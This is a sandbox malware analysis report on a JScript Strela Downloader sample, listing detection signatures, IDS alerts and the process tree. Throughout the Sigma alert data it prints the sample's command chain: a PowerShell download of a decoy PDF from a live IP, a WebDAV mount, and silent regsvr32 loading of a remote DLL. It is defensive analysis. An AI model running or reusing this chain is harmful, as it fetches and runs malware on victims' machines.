Edit tour

Windows Analysis Report
187637497286212310.js

Overview

General Information

Sample name:	187637497286212310.js
Analysis ID:	1588922
MD5:	c0f7e9587e6d7b20c249af3e157df628
SHA1:	135b6b39dd76aed0d3f6eb5eb256e40cdd020587
SHA256:	8bad0ea1e110662ddbf28ef1679f80d143b2fd7824a8453f999154e7122a4344
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7684 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7732 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7784 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7948 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8164 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1620 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1656,i,311617916915985056,248870337893757066,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7964 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8000 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7240 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7684	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", ProcessId: 7684, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8000, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7684, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7684, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7684, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7684, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7684, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 7732, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", ProcessId: 7684, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7784, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7964, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8000, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7240, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7964, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8000, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\187637497286212310.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7684, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4395298639961.dll, ProcessId: 7732, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:13:07.907694+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:13:10.069794+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:13:07.907694+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 187637497286212310.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 187637497286212310.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:13:07 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
